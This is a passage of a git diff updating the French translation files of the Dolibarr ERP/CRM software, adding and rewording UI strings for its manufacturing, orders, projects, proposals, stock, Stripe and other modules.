      'filter' est une condition sql, exemple : 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Si la valeur de ce champ doit être garantie existe dans une autre table. Saisissez ici une valeur correspondant à la syntaxe : nomtable.champparentàvérifier +TypeOfFieldsHelp=Exemple :
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' signifie que nous ajoutons un bouton + après le combo pour créer l'enregistrement
      'filter' est une condition sql, exemple : 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Il s'agit du type de champ/attribut. AsciiToHtmlConverter=Convertisseur Ascii en HTML AsciiToPdfConverter=Convertisseur Ascii en PDF TableNotEmptyDropCanceled=La table n’est pas vide. La suppression a été annulée. @@ -160,3 +165,12 @@ BadValueForType=Mauvaise valeur pour le type %s DefinePropertiesFromExistingTable=Définir des propriétés à partir d'une table existante DefinePropertiesFromExistingTableDesc=Si une table dans la base de données (pour l'objet à créer) existe déjà, vous pouvez l'utiliser pour définir les propriétés de l'objet. DefinePropertiesFromExistingTableDesc2=Laisser vide si la table n'existe pas encore. Le générateur de code utilisera différents types de champs pour créer un exemple de table que vous pourrez modifier ultérieurement. +GeneratePermissions=Je souhaite ajouter les droits pour cet objet +GeneratePermissionsHelp=générer les droits par défaut pour cet objet +PermissionDeletedSuccesfuly=Les permissions ont été retirées avec succès +PermissionUpdatedSuccesfuly=Les permissions ont été mises à jour avec succès +PermissionAddedSuccesfuly=Les permissions ont été ajoutées avec succès +MenuDeletedSuccessfuly=Le menu a été supprimé avec succès +MenuAddedSuccessfuly=Le menu a été ajouté avec succès +MenuUpdatedSuccessfuly=Le menu a été mis à jour avec succès +ApiObjectDeleted=API pour l'objet %s a été supprimé avec succès diff --git a/htdocs/langs/fr_FR/mrp.lang b/htdocs/langs/fr_FR/mrp.lang index 3cab2476a09..ff105886987 100644 --- a/htdocs/langs/fr_FR/mrp.lang +++ b/htdocs/langs/fr_FR/mrp.lang @@ -11,8 +11,8 @@ Bom=Nomenclatures produits (BOM) BillOfMaterials=Nomenclature BOM BillOfMaterialsLines=Lignes de nomenclature BOMsSetup=Configuration du module BOM -ListOfBOMs=Liste des BOMs -ListOfManufacturingOrders=Liste des Ordres de Fabrication +ListOfBOMs=Nomenclatures - BOM +ListOfManufacturingOrders=Ordres Fabrication NewBOM=Nouveau BOM ProductBOMHelp=Produit à créer (ou désassembler) avec cette nomenclature.
      Remarque: les produits avec la propriété 'Nature de produit' = 'Matière première' ne sont pas visibles dans cette liste. BOMsNumberingModules=Modèles de numérotation de BOMs @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Êtes-vous sûr de vouloir cloner cette nomenclature ConfirmCloneMo=Êtes-vous sûr de vouloir cloner l'Ordre de Fabrication %s? ManufacturingEfficiency=Efficacité de fabrication ConsumptionEfficiency=Efficacité de la consommation +Consumption=Consommation ValueOfMeansLoss=Une valeur de 0,95 signifie une moyenne de 5%% de perte lors de la fabrication ou du désassemblage ValueOfMeansLossForProductProduced=Une valeur de 0,95 signifie une moyenne de 5%% de perte de produit fabriqué DeleteBillOfMaterials=Supprimer la nomenclature @@ -81,8 +82,8 @@ ProductsToConsume=Produits à consommer ProductsToProduce=Produits à produire UnitCost=Coût unitaire TotalCost=Coût total -BOMTotalCost=Le coût de production de cette nomenclature basé sur chaque quantité et produit à consommer (utilise le prix de revient si défini, sinon le PMP si défini, sinon le meilleur prix d'achat) -BOMTotalCostService=Si le module "Poste de travail" est activé et qu'un poste de travail est défini par défaut sur la ligne, alors le calcul est "quantité (convertie en heures) x poste de travail ahr", sinon "quantité (convertie en heures) x prix de revient de la prestation" +BOMTotalCost=Le coût de production de cette nomenclature basé sur chaque quantité et produit à consommer (utilise le cout de la sous BOM si existante, sinon le prix de revient du produit si défini, sinon le PMP si défini, sinon le meilleur prix d'achat) +BOMTotalCostService=Si le module "Poste de travail" est activé et qu'un poste de travail est défini par défaut sur la ligne, alors le calcul est "quantité (convertie en heures) x poste de travail ahr", sinon "quantité (convertie en heures) x prix de revient du service" GoOnTabProductionToProduceFirst=Vous devez avoir la production pour clôturer un Ordre de Fabrication (voir onglet '%s'). Mais vous pouvez l'annuler. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit ne peut pas être utilisé dans une Nomenclature ou un Ordre de fabrication. Workstation=Poste de travail @@ -101,6 +102,7 @@ NbOperatorsRequired=Nombre d'opérateurs requis THMOperatorEstimated=THM estimé de l'opérateur THMMachineEstimated=THM machine estimé WorkstationType=Type de poste de travail +DefaultWorkstation=Poste de travail par défaut Human=Humain Machine=Machine HumanMachine=Humain/machine @@ -114,3 +116,7 @@ MoChildGenerate=Générer OF enfant ParentMo=OF parent MOChild=OF Enfant BomCantAddChildBom=La nomenclature %s est déjà présente dans l'arbre menant à la nomenclature %s +BOMNetNeeds = Besoins nets +BOMProductsList=Les produits de BOM +BOMServicesList=Les services de BOM +ProducedBy=Produit par \ No newline at end of file diff --git a/htdocs/langs/fr_FR/oauth.lang b/htdocs/langs/fr_FR/oauth.lang index e884f616f39..58d3b485ecb 100644 --- a/htdocs/langs/fr_FR/oauth.lang +++ b/htdocs/langs/fr_FR/oauth.lang @@ -31,8 +31,9 @@ OAUTH_GITHUB_SECRET=Secret Oauth GitHub OAUTH_URL_FOR_CREDENTIAL=Accédez à cette page pour créer ou obtenir votre identifiant OAuth et votre secret OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=ID OAuth +OAUTH_ID=ID client OAuth OAUTH_SECRET=Code secret OAuth +OAUTH_TENANT=Tenant OAuth OAuthProviderAdded=Fournisseur OAuth ajouté AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Une entrée OAuth pour ce fournisseur et ce libellé existe déjà URLOfServiceForAuthorization=URL fournie par le service OAuth pour l'authentification diff --git a/htdocs/langs/fr_FR/orders.lang b/htdocs/langs/fr_FR/orders.lang index 06c090a5f30..b58352c8c7b 100644 --- a/htdocs/langs/fr_FR/orders.lang +++ b/htdocs/langs/fr_FR/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Statistiques des commandes fournisseurs NumberOfOrdersByMonth=Nombre de commandes par mois AmountOfOrdersByMonthHT=Montant total de commandes par mois (HT) ListOfOrders=Liste des commandes +ListOrderLigne=Lignes de commandes +productobuy=Produits à l'achat uniquement +productonly=Produits seulement +disablelinefree=Pas de ligne libre CloseOrder=Clôturer commande ConfirmCloseOrder=Êtes-vous sûr de vouloir classer cette commande à Délivrée ? Une fois une commande délivrée, elle peut aussi être passée à facturée. ConfirmDeleteOrder=Êtes-vous sûr de vouloir effacer cette commande ? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Commande fournisseur %s classée facturée OtherOrders=Autres commandes SupplierOrderValidatedAndApproved=Commande fournisseur validée et approuvée : %s SupplierOrderValidated=Commande fournisseur validée : %s +OrderShowDetail=Afficher les détails de la commande ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Responsable suivi commande client TypeContact_commande_internal_SHIPPING=Responsable envoi commande client @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Approuvé StatusSupplierOrderRefused=Refusé StatusSupplierOrderReceivedPartially=Reçue partiellement StatusSupplierOrderReceivedAll=Tous les produits reçus +NeedAtLeastOneInvoice = Au moins une commande doit être présente +LineAlreadyDispatched = La ligne de commande a déjà été réceptionnée. diff --git a/htdocs/langs/fr_FR/other.lang b/htdocs/langs/fr_FR/other.lang index 6c714be2c4d..535febb1f14 100644 --- a/htdocs/langs/fr_FR/other.lang +++ b/htdocs/langs/fr_FR/other.lang @@ -40,13 +40,16 @@ notiftofixedemail=aux e-mails définis notiftouserandtofixedemail=Aux utilisateurs et e-mails définis Notify_ORDER_VALIDATE=Validation commande client Notify_ORDER_SENTBYMAIL=Envoi commande client par email +Notify_ORDER_CLOSE=Commande client livrée Notify_ORDER_SUPPLIER_SENTBYMAIL=Envoi commande fournisseur par email Notify_ORDER_SUPPLIER_VALIDATE=Commande fournisseur enregistrée Notify_ORDER_SUPPLIER_APPROVE=Commande fournisseur approuvée Notify_ORDER_SUPPLIER_REFUSE=Commande fournisseur refusée Notify_PROPAL_VALIDATE=Validation proposition commerciale client Notify_PROPAL_CLOSE_SIGNED=Proposition client fermée signée +Notify_PROPAL_CLOSE_SIGNED_WEB=Proposition client fermée signée sur la page du portail Notify_PROPAL_CLOSE_REFUSED=Proposition client fermée refusée +Notify_PROPAL_CLOSE_REFUSED_WEB=Proposition client fermée refusée sur la page du portail Notify_PROPAL_SENTBYMAIL=Envoi proposition commerciale par email Notify_WITHDRAW_TRANSMIT=Transmission prélèvement Notify_WITHDRAW_CREDIT=Crédit prélèvement @@ -181,6 +184,7 @@ SizeUnitfoot=pied SizeUnitpoint=point BugTracker=Suivi de tickets SendNewPasswordDesc=Ce formulaire permet de faire une demande pour un nouveau mot de passe. Elle sera envoyée à votre adresse email.
      La modification du mot de passe ne sera effective qu'après avoir cliqué sur le lien de confirmation dans cet email.
      Surveillez votre messagerie. +EnterNewPasswordHere=Entrez votre nouveau mot de passe ici BackToLoginPage=Retour page de connexion AuthenticationDoesNotAllowSendNewPassword=Le mode d'authentification de Dolibarr est configuré à "%s".
      Dans ce mode, Dolibarr n'a pas la possibilité de connaître ni de modifier votre mot de passe.
      Contactez votre administrateur pour connaitre les modalités de changement. EnableGDLibraryDesc=Vous devez activer ou installer la librairie GD avec votre PHP pour pouvoir activer cette option. @@ -210,7 +214,11 @@ EMailTextInvoiceValidated=La facture %s vous concernant a été validée. EMailTextInvoicePayed=La facture %s a été payée. EMailTextProposalValidated=La proposition commerciale %s vous concernant a été validée. EMailTextProposalClosedSigned=La proposition %s a été clôturée signée. +EMailTextProposalClosedSignedWeb=La proposition %s a été clôturée signée via la page du portail client. +EMailTextProposalClosedRefused=La proposition %s a été fermée refusée. +EMailTextProposalClosedRefusedWeb=La proposition %s a été fermée et refusée sur la page du portail. EMailTextOrderValidated=La commande %s a été validée. +EMailTextOrderClose=La commande %s a été livrée. EMailTextOrderApproved=La commande %s a été approuvée. EMailTextOrderValidatedBy=La commande %s a été enregistrée par %s EMailTextOrderApprovedBy=La commande %s a été approuvée par %s. diff --git a/htdocs/langs/fr_FR/partnership.lang b/htdocs/langs/fr_FR/partnership.lang index 20c3fc0d801..58c1725a5d1 100644 --- a/htdocs/langs/fr_FR/partnership.lang +++ b/htdocs/langs/fr_FR/partnership.lang @@ -29,7 +29,7 @@ PartnershipCheckBacklink=Partenariat : Vérifiez le backlink référent # Menu # NewPartnership=Nouveau partenariat -NewPartnershipbyWeb= Votre partenariat a été ajouté avec succès. +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=Listes des partenariats # diff --git a/htdocs/langs/fr_FR/products.lang b/htdocs/langs/fr_FR/products.lang index 2592548059c..0a5d3f3f8ad 100644 --- a/htdocs/langs/fr_FR/products.lang +++ b/htdocs/langs/fr_FR/products.lang @@ -317,7 +317,7 @@ LastUpdated=Dernière mise à jour CorrectlyUpdated=Mise à jour avec succès PropalMergePdfProductActualFile=Fichiers utilisés pour l'ajout au PDF Azur sont PropalMergePdfProductChooseFile=Sélectionnez les fichiers PDF -IncludingProductWithTag=Inclure les produits/services de(s) catégorie(s) +IncludingProductWithTag=Comprenant des produits/services avec le tag/catégorie DefaultPriceRealPriceMayDependOnCustomer=Prix ​​par défaut, le prix réel peut dépendre du client WarningSelectOneDocument=Sélectionnez au moins un document DefaultUnitToShow=Unité @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Action disponible uniquement sur la variante ProductsPricePerCustomer=Prix produit par clients ProductSupplierExtraFields=Attributs supplémentaires (Prix fournisseur) DeleteLinkedProduct=Supprimer le produit enfant lié à la combinaison -AmountUsedToUpdateWAP=Montant à utiliser pour mettre à jour le prix moyen pondéré +AmountUsedToUpdateWAP=Montant unitaire à utiliser pour mettre à jour le prix moyen pondéré PMPValue=Prix moyen pondéré (PMP) PMPValueShort=PMP mandatoryperiod=Plage de date obligatoire @@ -416,7 +416,7 @@ ProductsMergeSuccess=Produits fusionnés ErrorsProductsMerge=Erreur lors de la fusion des produits SwitchOnSaleStatus=Basculer le statut En vente SwitchOnPurchaseStatus=Basculer le statut En achat -UpdatePrice=Augmenter/baisser le prix de vente +UpdatePrice=Augmenter/diminuer le prix client StockMouvementExtraFields= Champs supplémentaires (mouvement de stock) InventoryExtraFields= Attributs supplémentaires (inventaire) ScanOrTypeOrCopyPasteYourBarCodes=Scannez ou tapez ou copiez/collez vos codes-barres diff --git a/htdocs/langs/fr_FR/projects.lang b/htdocs/langs/fr_FR/projects.lang index 90fe82c2ffb..ba39ce47dc2 100644 --- a/htdocs/langs/fr_FR/projects.lang +++ b/htdocs/langs/fr_FR/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Cette vue présente tous les projets et tâches pour lesquels vo TasksDesc=Cette vue présente tous les projets et tâches (vos habilitations vous offrant une vue exhaustive). AllTaskVisibleButEditIfYouAreAssigned=Toutes les tâches des projets sont visibles mais il n'est possible de saisir du temps passé que sur celles assignées à l'utilisateur sélectionné.\nAssignez la tâche si elle ne l'est pas déjà pour pouvoir saisir du temps dessus. OnlyYourTaskAreVisible=Seules les tâches qui vous sont assignées sont visibles. Assignez vous une tâche pour la voir et saisir du temps dessus. +ImportDatasetProjects=Projets ou opportunités ImportDatasetTasks=Tâches des projets ProjectCategories=Catégories/tags de projet NewProject=Nouveau projet @@ -37,8 +38,10 @@ OpportunitiesStatusForOpenedProjects=Montant des opportunités ouvertes par stat OpportunitiesStatusForProjects=Montant des opportunités par statut ShowProject=Afficher projet ShowTask=Afficher tâche +SetThirdParty=Définir un tiers SetProject=Définir projet -NoProject=Aucun projet défini ou responsable +OutOfProject=Hors projet +NoProject=Aucun projet défini ou visible NbOfProjects=Nombre de projets NbOfTasks=Nb de tâches TimeSpent=Temps consommé @@ -122,7 +125,8 @@ ValidateProject=Valider projet ConfirmValidateProject=Êtes-vous sûr de vouloir valider ce projet ? CloseAProject=Clore projet ConfirmCloseAProject=Êtes-vous sûr de vouloir clore ce projet ? -AlsoCloseAProject=Fermer également le projet (laissez-le ouvert si vous devez suivre la production de tâches dessus) +AlsoCloseAProject=Fermer également le projet +AlsoCloseAProjectTooltip=Gardez-le ouvert si vous avez encore besoin de suivre des tâches de production dessus ReOpenAProject=Réouvrir projet ConfirmReOpenAProject=Êtes-vous sûr de vouloir rouvrir ce projet ? ProjectContact=Contacts du projet @@ -165,7 +169,7 @@ OpportunityProbability=Probabilité d'opportunité OpportunityProbabilityShort=Prob. opp. OpportunityAmount=Montant opportunité OpportunityAmountShort=Montant opportunité -OpportunityWeightedAmount=Montant pondéré des opportunités +OpportunityWeightedAmount=Quantité d'opportunités, pondérée par la probabilité OpportunityWeightedAmountShort=Montant pondéré opp. OpportunityAmountAverageShort=Montant moyen des opportunités OpportunityAmountWeigthedShort=Montant pondéré des opportunités @@ -238,7 +242,7 @@ OppStatusPENDING=En attente OppStatusWON=Gagné OppStatusLOST=Perdu Budget=Budget -AllowToLinkFromOtherCompany=Permettre de lier un projet à une autre société

      Valeurs supportées:
      - Conserver vide: Peut lier à n'importe quel projet de l'entreprise (défaut)
      - "all": Peut lier à tous les projets, même le projet d'autres sociétés
      - Une liste d'ID de tiers séparés par des virgules: Peut lier à tous les projets de ces tiers définis (Exemple: 123,4795,53)
      +AllowToLinkFromOtherCompany=Permet de lier un élément avec un projet d'une autre société

      Valeurs prises en charge :
      - Garder vide : peut lier des éléments avec n'importe quel projet de la même société (par défaut)
      - "tous" : peut lier des éléments avec n'importe quel projet, même projets d'autres sociétés
      - Une liste d'identifiants tiers séparés par des virgules : permet de lier des éléments à n'importe quel projet de ces tiers (Exemple : 123,4795,53)
      LatestProjects=Les %s derniers projets LatestModifiedProjects=Les %s derniers projets modifiés OtherFilteredTasks=Autres tâches filtrées @@ -255,6 +259,7 @@ RecordsClosed=%s projet(s) fermé(s) SendProjectRef=A propos du projet %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Le module 'Paiement des salaires des employés' doit être activé pour définir le taux horaire des employés afin de valoriser le temps passé NewTaskRefSuggested=Réf de tâche déjà utilisée, une nouvelle référence de tâche est requise +NumberOfTasksCloned=%s tâche·s clonées TimeSpentInvoiced=Temps passé facturé TimeSpentForIntervention=Temps consommé TimeSpentForInvoice=Temps consommés @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=Le bénéfice est calculé sur la base de AddPersonToTask=Ajouter également aux tâches UsageOrganizeEvent=Utilisation: Organisation d'événements PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classer le projet comme étant clos lorsque toutes ses tâches sont terminées (progression 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Remarque : les projets existants avec toutes les tâches terminées à 100 %% ne seront pas affectés : vous devrez les fermer manuellement. Cette option n’affecte que les projets ouverts. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Remarque : les projets existants avec toutes les tâches déjà définies sur une progression de 100%% ne seront pas affectés : vous devrez les fermer manuellement. Cette option n'affecte que les projets ouverts. SelectLinesOfTimeSpentToInvoice=Sélectionnez les lignes de temps passé non facturées, puis l'action groupée "Générer la facture" pour les facturer ProjectTasksWithoutTimeSpent=Tâches de projet sans temps consommé FormForNewLeadDesc=Veuillez remplir ce formulaire de contact ou écrivez un e-mail à %s. diff --git a/htdocs/langs/fr_FR/propal.lang b/htdocs/langs/fr_FR/propal.lang index 93bfd82a24e..6e3d8b16870 100644 --- a/htdocs/langs/fr_FR/propal.lang +++ b/htdocs/langs/fr_FR/propal.lang @@ -55,6 +55,7 @@ CopyPropalFrom=Créer proposition/devis par recopie d'un proposition existante CreateEmptyPropal=Créer proposition/devis vierge ou avec la liste des produits/services DefaultProposalDurationValidity=Délai de validité par défaut (en jours) DefaultPuttingPricesUpToDate=Par défaut, mettre à jour les prix avec les prix connus actuels lors du clonage d'une proposition +DefaultPuttingDescUpToDate=Par défaut, mettre à jour les descriptions lors de clonage d'une proposition commerciale UseCustomerContactAsPropalRecipientIfExist=Utiliser l'adresse de 'contact suivi client' si définie plutôt que l'adresse du tiers comme destinataire des propositions ConfirmClonePropal=Êtes-vous sûr de vouloir cloner la proposition commerciale %s ? ConfirmReOpenProp=Êtes-vous sûr de vouloir réouvrir la proposition commerciale %s ? @@ -65,51 +66,54 @@ AvailabilityPeriod=Délai de livraison SetAvailability=Définir le délai de livraison AfterOrder=après commande OtherProposals=Autres propositions + ##### Availability ##### AvailabilityTypeAV_NOW=Immédiate AvailabilityTypeAV_1W=1 semaine AvailabilityTypeAV_2W=2 semaines AvailabilityTypeAV_3W=3 semaines AvailabilityTypeAV_1M=1 mois -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Commercial suivi proposition TypeContact_propal_external_BILLING=Contact client facturation proposition TypeContact_propal_external_CUSTOMER=Contact client suivi proposition TypeContact_propal_external_SHIPPING=Contact client pour la livraison + # Document models -DocModelAzurDescription=Un modèle de proposition complet (ancienne implémentation du modèle Cyan) -DocModelCyanDescription=Un modèle de proposition complet -DefaultModelPropalCreate=Modèle par défaut à la création -DefaultModelPropalToBill=Modèle par défaut lors de la clôture d'une proposition commerciale (à facturer) -DefaultModelPropalClosed=Modèle par défaut lors de la clôture d'une proposition commerciale (non facturée) -ProposalCustomerSignature=Cachet, Date, Signature et mention "Bon pour Accord" -ProposalsStatisticsSuppliers=Statistiques de propositions commerciales -CaseFollowedBy=Affaire suivie par -SignedOnly=Signé seulement -NoSign=Mettre à Non signé -NoSigned=Mettre à Non signé CantBeNoSign=ne peut être mis à Non signé +CaseFollowedBy=Affaire suivie par ConfirmMassNoSignature=Confirmation du passage en Non signé ConfirmMassNoSignatureQuestion=Êtes-vous sûr de vouloir définir comme Non signés les enregistrements sélectionnés ? -IsNotADraft=n'est pas au statut brouillon -PassedInOpenStatus=a été validé -Sign=Signer -Signed=Signée -ConfirmMassValidation=Confirmation de validation en masse ConfirmMassSignature=Confirmation de signature en masse -ConfirmMassValidationQuestion=Etes vous sûrs de vouloir valider les enregistrements sélectionnés ? ConfirmMassSignatureQuestion=Etes vous sûr de vouloir signer les enregistrements sélectionnés ? -IdProposal=ID de la proposition commerciale +ConfirmMassValidation=Confirmation de validation en masse +ConfirmMassValidationQuestion=Etes vous sûrs de vouloir valider les enregistrements sélectionnés ? +ConfirmRefusePropal=Êtes-vous sûr de vouloir refuser cette proposition ? +ContractSigned=Contrat signé +DefaultModelPropalClosed=Modèle par défaut lors de la clôture d'une proposition commerciale (non facturée) +DefaultModelPropalCreate=Modèle par défaut à la création +DefaultModelPropalToBill=Modèle par défaut lors de la clôture d'une proposition commerciale (à facturer) +DocModelAzurDescription=Un modèle de proposition complet (ancienne implémentation du modèle Cyan) +DocModelCyanDescription=Un modèle de proposition complet +FichinterSigned=Intervention signée IdProduct=ID produit +IdProposal=ID de la proposition commerciale +IsNotADraft=n'est pas au statut brouillon LineBuyPriceHT=Prix d'achat HT de la ligne -SignPropal=Accepter la proposition -SignContract=Signer le contrat +NoSign=Refuser +NoSigned=Mettre à Non signé +PassedInOpenStatus=a été validé +PropalAlreadyRefused=Proposition déjà refusée +PropalAlreadySigned=Proposition déjà acceptée +PropalRefused=Proposition refusée +PropalSigned=Proposition acceptée +ProposalCustomerSignature=Cachet, Date, Signature et mention "Bon pour Accord" +ProposalsStatisticsSuppliers=Statistiques de propositions commerciales RefusePropal=Refuser la proposition Sign=Signer -NoSign=Mettre à Non signé -PropalAlreadySigned=Proposition déjà acceptée -PropalAlreadyRefused=Proposition déjà refusée -PropalSigned=Proposition acceptée -ContractSigned=Contrat signé -PropalRefused=Proposition refusée -ConfirmRefusePropal=Êtes-vous sûr de vouloir refuser cette proposition ? +SignContract=Signer le contrat +SignFichinter=Signer l'intervention +SignPropal=Accepter la proposition +Signed=Signée +SignedOnly=Signé seulement diff --git a/htdocs/langs/fr_FR/receptions.lang b/htdocs/langs/fr_FR/receptions.lang index 5411fc7142f..35e38275cb1 100644 --- a/htdocs/langs/fr_FR/receptions.lang +++ b/htdocs/langs/fr_FR/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Brouillon StatusReceptionValidatedShort=Validé StatusReceptionProcessedShort=Traités ReceptionSheet=Bordereau de réception +ValidateReception=Valider la réception ConfirmDeleteReception=Êtes-vous sûr de vouloir supprimer cette réception ? ConfirmValidateReception=Êtes-vous sûr de vouloir valider cette réception sous la référence %s ? ConfirmCancelReception=Êtes-vous sûr de vouloir annuler cette réception ? diff --git a/htdocs/langs/fr_FR/recruitment.lang b/htdocs/langs/fr_FR/recruitment.lang index 1525b06d5b3..ed017d8b484 100644 --- a/htdocs/langs/fr_FR/recruitment.lang +++ b/htdocs/langs/fr_FR/recruitment.lang @@ -51,7 +51,7 @@ ListOfPositionsToBeFilled=Liste des postes NewPositionToBeFilled=Nouveaux postes JobOfferToBeFilled=Poste à pourvoir -ThisIsInformationOnJobPosition=Informations sur le poste à pourvoir +ThisIsInformationOnJobPosition=Informations sur le profil de poste ContactForRecruitment=Contact pour le recrutement EmailRecruiter=Email recruteur ToUseAGenericEmail=Pour utiliser un e-mail générique. S'il n'est pas défini, l'email du responsable du recrutement sera utilisé @@ -66,13 +66,13 @@ ContractRefused=Contrat refusé RecruitmentCandidature=Candidature JobPositions=Offres d'emploi RecruitmentCandidatures=Candidatures -InterviewToDo=Entretien à faire +InterviewToDo=Contacts à suivre AnswerCandidature=Réponse de candidature YourCandidature=Votre candidature YourCandidatureAnswerMessage=Merci de votre candidature.
      ... JobClosedTextCandidateFound=Le poste n'est plus ouvert. Le poste a été pourvu. JobClosedTextCanceled=Le poste n'est plus ouvert. -ExtrafieldsJobPosition=Attributs complémentaires (postes) +ExtrafieldsJobPosition=Attributs complémentaires (profils de postes) ExtrafieldsApplication=Attributs complémentaires (candidature) MakeOffer=Faire un offre WeAreRecruiting=Nous recrutons. Voici une liste de postes à pourvoir... diff --git a/htdocs/langs/fr_FR/salaries.lang b/htdocs/langs/fr_FR/salaries.lang index 51a430cc9b6..0631a97fa4b 100644 --- a/htdocs/langs/fr_FR/salaries.lang +++ b/htdocs/langs/fr_FR/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Compte comptable utilisé pour les utilisateurs -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Le compte comptable défini sur la fiche utilisateur sera utilisé uniquement pour la comptabilité auxiliaire. Celui-ci sera utilisé pour le grand livre et comme valeur par défaut de la comptabilité auxiliaire si le compte dédié de l'utilisateur n'est pas défini. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Compte comptable par défaut pour les tiers "salariés" +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Le compte dédié défini sur la fiche utilisateur sera utilisé en tant que compte comptable de tiers (Compte auxiliaire). SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Compte comptable par défaut pour les paiements de salaires CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Par défaut, laissez vide l’option "Créer automatiquement un paiement complet" lors de la création d’un salaire Salary=Salaire diff --git a/htdocs/langs/fr_FR/stocks.lang b/htdocs/langs/fr_FR/stocks.lang index a0d91884279..481ca5f312d 100644 --- a/htdocs/langs/fr_FR/stocks.lang +++ b/htdocs/langs/fr_FR/stocks.lang @@ -49,7 +49,7 @@ StockCorrection=Correction de stock CorrectStock=Corriger le stock StockTransfer=Transfert de stock TransferStock=Transférer stock -MassStockTransferShort=Transfert stock en masse +MassStockTransferShort=Changement de stock en vrac StockMovement=Mouvement de stock StockMovements=Mouvements de stock NumberOfUnit=Nombre de pièces @@ -147,8 +147,9 @@ Replenishments=Réapprovisionnement NbOfProductBeforePeriod=Quantité du produit %s en stock avant la période sélectionnée (< %s) NbOfProductAfterPeriod=Quantité du produit %s en stock après la période sélectionnée (> %s) MassMovement=Mouvement en masse -SelectProductInAndOutWareHouse=Sélectionnez un entrepôt source et un entrepôt cible, un produit et une quantité puis cliquez sur "%s". Une fois ceci fait pour tous les mouvements requis, cliquez sur "%s". +SelectProductInAndOutWareHouse=Sélectionnez un entrepôt source (optionnel), un entrepôt cible, un produit et une quantité puis cliquez sur "%s". Une fois cela fait pour tous les mouvements requis, cliquez sur "%s". RecordMovement=Enregistrer transfert +RecordMovements=Enregistrer les mouvements de stock ReceivingForSameOrder=Réceptions pour cette commande StockMovementRecorded=Mouvement de stocks enregistré RuleForStockAvailability=Règles d'exigence sur les stocks @@ -271,7 +272,7 @@ InventoryStartedShort=En cours ErrorOnElementsInventory=Opération annulée pour la raison suivante : ErrorCantFindCodeInInventory=Impossible de trouver le code suivant dans l'inventaire QtyWasAddedToTheScannedBarcode=Succès !! La quantité a été ajoutée à tous les codes-barres demandés. Vous pouvez fermer l'outil Scanner. -StockChangeDisabled=Changement sur stock désactivé +StockChangeDisabled=Modification de stock désactivé NoWarehouseDefinedForTerminal=Aucun entrepôt défini pour le terminal ClearQtys=Effacer toutes les quantités ModuleStockTransferName=Transfert de Stock Avancé diff --git a/htdocs/langs/fr_FR/stripe.lang b/htdocs/langs/fr_FR/stripe.lang index cc873f0acdb..629b3d16bea 100644 --- a/htdocs/langs/fr_FR/stripe.lang +++ b/htdocs/langs/fr_FR/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Clé live des Webhooks ONLINE_PAYMENT_WAREHOUSE=Stock à utiliser pour diminuer le stock lorsque le paiement en ligne est effectué
      (TODO Quand l'option de réduction de stock est effectuée sur une action sur facture et que le paiement en ligne génère lui-même la facture?) StripeLiveEnabled=Mode live activé (sinon mode test/bac a sable) StripeImportPayment=Importer paiements Stripe -ExampleOfTestCreditCard=Exemple de carte de crédit pour le test: %s => valide, %s => erreur CVC, %s => expiré, %s => paiement en échec +ExampleOfTestCreditCard=Exemple de carte de crédit pour le test SEPA : %s => valide, %s => erreur CVC, %s => expirée, %s => débit refusé +ExampleOfTestBankAcountForSEPA=Example de numéro de compte en banque (BAN) pour le test de débit direct : %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect ID client (ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect ID client (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Supprimer carte ConfirmDeleteCard=Êtes-vous sûr de vouloir supprimer cette carte de crédit ou de débit? CreateCustomerOnStripe=Créer client sur Stripe CreateCardOnStripe=Créer carte sur Stripe +CreateBANOnStripe=Créer une banque sur Stripe ShowInStripe=Afficher dans Stripe StripeUserAccountForActions=Compte d'utilisateur à utiliser pour certains e-mails de notification d'événements Stripe (Stripe payouts) StripePayoutList=Liste des versements par Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Lien pour la configuration de Stripe WebHook pour app PaymentWillBeRecordedForNextPeriod=Le paiement sera enregistré pour la prochaine période. ClickHereToTryAgain=Cliquez ici pour essayer à nouveau... CreationOfPaymentModeMustBeDoneFromStripeInterface=En raison des règles d'Authentification Client Forte, la création d'une carte doit être effectuée à partir du backoffice de Stripe. Vous pouvez cliquer ici pour basculer sur la fiche client Stripe: %s -TERMINAL_LOCATION=Emplacement (adresse) des terminaux +STRIPE_CARD_PRESENT=Carte présente pour les terminaux Stripe +TERMINAL_LOCATION=Localisation (adresse) pour les terminaux Stripe +RequestDirectDebitWithStripe=Demander 